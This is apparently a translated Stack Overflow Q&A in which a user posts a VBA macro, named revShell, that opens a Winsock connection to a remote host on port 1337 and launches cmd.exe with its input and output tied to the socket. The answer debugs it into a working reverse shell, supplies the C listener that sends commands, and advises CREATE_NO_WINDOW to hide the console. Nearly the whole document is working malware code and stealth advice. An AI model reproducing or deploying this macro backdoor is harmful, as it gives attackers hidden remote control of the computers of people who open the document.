vba - VBA CreateProcess将StdIn和StdOut重定向到Socket吗？

Question

因此，我试图编写调用“CreateProcessA”的VBA以启动“cmd.exe”进程，并将stdin，stdout和stderror重定向到连接到远程计算机的套接字。
目前，除输出未重定向到套接字外，几乎所有东西似乎都在工作。当我运行代码时，它在远程计算机上显示已接收到连接，但是cmd窗口仅在运行VBA的计算机上打开，仅此而已。有人知道为什么我无法重定向到套接字吗？我的代码如下。谢谢您的帮助:)

Const ip = "192.168.43.1"
Const port = "1337"

Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Const SD_SEND = 1
Const MAX_PROTOCOL_CHAIN = 7&
Const WSAPROTOCOL_LEN = 255

' Typ definitions ----------------------------------------------------
Private Type WSADATA
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To WSADESCRIPTION_LEN) As Byte
    szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpVendorInfo As Long
End Type

Private Type ADDRINFO
    ai_flags As Long
    ai_family As Long
    ai_socktype As Long
    ai_protocol As Long
    ai_addrlen As Long
    ai_canonName As LongPtr 'strptr
    ai_addr As LongPtr 'p sockaddr
    ai_next As LongPtr 'p addrinfo
End Type

Private Type STARTUPINFOA
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Byte
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type WSAPROTOCOLCHAIN
    ChainLen As Long
    ChainEntries(1 To MAX_PROTOCOL_CHAIN) As Long
End Type

Private Type GUID
    Data1 As Long
    Data2 As Integer
    Data3 As Integer
    Data4(7) As Byte
End Type

Private Type WSAPROTOCOL_INFO
    dwServiceFlags1 As Long
    dwServiceFlags2 As Long
    dwServiceFlags3 As Long
    dwServiceFlags4 As Long
    dwProviderFlags As Long
    ProviderId As GUID
    dwCatalogEntryId As Long
    ProtocolChain As WSAPROTOCOLCHAIN
    iVersion As Long
    iAddressFamily As Long
    iMaxSockAddr As Long
    iMinSockAddr As Long
    iSocketType As Long
    iProtocol As Long
    iProtocolMaxOffset As Long
    iNetworkByteOrder As Long
    iSecurityScheme As Long
    dwMessageSize As Long
    dwProviderReserved As Long
    szProtocol(1 To WSAPROTOCOL_LEN + 1) As Byte
End Type

Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As LongPtr
    bInheritHandle As Long
End Type
' Enums ---------------------------------------------------------------
Enum af
    AF_UNSPEC = 0
    AF_INET = 2
    AF_IPX = 6
    AF_APPLETALK = 16
    AF_NETBIOS = 17
    AF_INET6 = 23
    AF_IRDA = 26
    AF_BTH = 32
End Enum

Enum sock_type
    SOCK_STREAM = 1
    SOCK_DGRAM = 2
    SOCK_RAW = 3
    SOCK_RDM = 4
    SOCK_SEQPACKET = 5
End Enum
' External functions --------------------------------------------------

Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function ws_socket Lib "ws2_32.dll" Alias "socket" (ByVal af As Long, ByVal stype As Long, ByVal protocol As Long) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function Send Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal buf As String, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function Recv Lib "ws2_32.dll" Alias "recv" (ByVal s As Long, ByRef buf As Byte, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function SendWithPtr Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal bufPtr As Long, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function shutdown Lib "ws2_32.dll" (ByVal s As Long, ByVal how As Long) As Long
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (var() As Any) As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As LongPtr, ByVal g As Long, ByVal dwFlags As Long) As Long

Function revShell()
    Dim m_wsaData As WSADATA
    Dim m_RetVal As Integer
    Dim m_Hints As ADDRINFO
    Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
    Dim pAddrInfo As LongPtr
    Dim RetVal As Long
    Dim lastError As Long
    Dim iRC As Long
    Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
    Dim protoInfo As WSAPROTOCOL_INFO

    'Socket Settings
    RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
    If (RetVal <> 0) Then
        MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If
    
    m_Hints.ai_family = af.AF_UNSPEC
    m_Hints.ai_socktype = sock_type.SOCK_STREAM

    RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
    If (RetVal <> 0) Then
        MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If

    m_Hints.ai_next = pAddrInfo
    Dim connected As Boolean: connected = False
    Do While m_Hints.ai_next > 0
        CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)

        m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, 0, 0, 0)

        If (m_ConnSocket = INVALID_SOCKET) Then
            MsgBox "Error opening socket, error " & RetVal & WSAGetLastError()
        Else
            Dim connectionResult As Long

            connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)

            If connectionResult <> SOCKET_ERROR Then
                connected = True
                Exit Do
            End If

            MsgBox ("connect() to socket failed")
            closesocket (m_ConnSocket)
        End If
    Loop

    If Not connected Then
        MsgBox ("Fatal error: unable to connect to the server")
        'MsgBox (WSAGetLastError())
        RetVal = closesocket(m_ConnSocket)
        Call WSACleanup
        Exit Function
    End If
    
    Dim secAttrPrc As SECURITY_ATTRIBUTES
    secAttrPrc.nLength = Len(secAttrPrc)
    Dim secAttrThr As SECURITY_ATTRIBUTES
    secAttrThr.nLength = Len(secAttrThr)
    
    Dim si As STARTUPINFOA
    ZeroMemory si, Len(si)
    si.cb = Len(si)
    si.dwFlags = &H100
    si.hStdInput = m_ConnSocket
    si.hStdOutput = m_ConnSocket
    si.hStdError = m_ConnSocket
    Dim pi As PROCESS_INFORMATION
    Dim worked As LongPtr
    Dim test As Long
    worked = CreateProc(vbNullString, "cmd.exe", secAttrPrc, secAttrThr, True, 0, 0, Environ("USERPROFILE"), si, pi)
    'MsgBox (worked)
    If worked Then
        MsgBox ("Worked!")
    Else
        MsgBox ("Didn't work")
    End If
End Function

Answer 1

我可以使用msdn示例:Server和Client(在其中添加了创建cmd进程)。
而且，您也可以在VBA中通过示例重现此问题。当我使用您定义的WSASocketA时，在lpProtocolInfo As WSAPROTOCOL_INFOA处出现编译错误

Compile error: ByRef argument type mismatch

由于它是指针类型，因此将其修改为ByVal lpProtocolInfo As LongPtr。
更重要的是，在设置完ZeroMemory后，对它进行了STARTUPINFO编码，然后所有设置的句柄将被丢弃。
将初始化放在开头:

Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket

然后它对我有用。
更新:lpProtocolInfo As LongPtr您没有在更新的代码中添加ByVal，然后我就可以使用它了。

There is not enough space on the disk

这可能与服务器端的字符串处理有关。您需要在发送的cmd字符串中添加后缀“\r\n”。我在msdn上使用了Server示例，并修改了do-while{}部分:

do {
    Sleep(1000);
    iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
    if (iResult > 0) {
        recvbuf[iResult] = L'\0';
        printf("%s", recvbuf);
    }
    char sendcmd[512] = { 0 };
    fgets(sendcmd, 512, stdin);
    int len = strlen(sendcmd); // "test\n"
    sendcmd[len - 1] = '\r'; //"test\r"
    sendcmd[len] = '\n';    //"test\r\n"
    iSendResult = send(ClientSocket, sendcmd, len+1, 0); //without '\0'
    if (iSendResult == SOCKET_ERROR) {
        printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ClientSocket);
        WSACleanup();
        return 1;
    }
    if (strncmp(sendcmd, "exit", 4) == 0)
        break;
} while (iResult > 0);

此外，您可以为CREATE_NO_WINDOW指定 CreateProcess ，这样就不会在客户端上创建cmd窗口。
结果(我在localhost:127.0.0.1中对其进行了测试):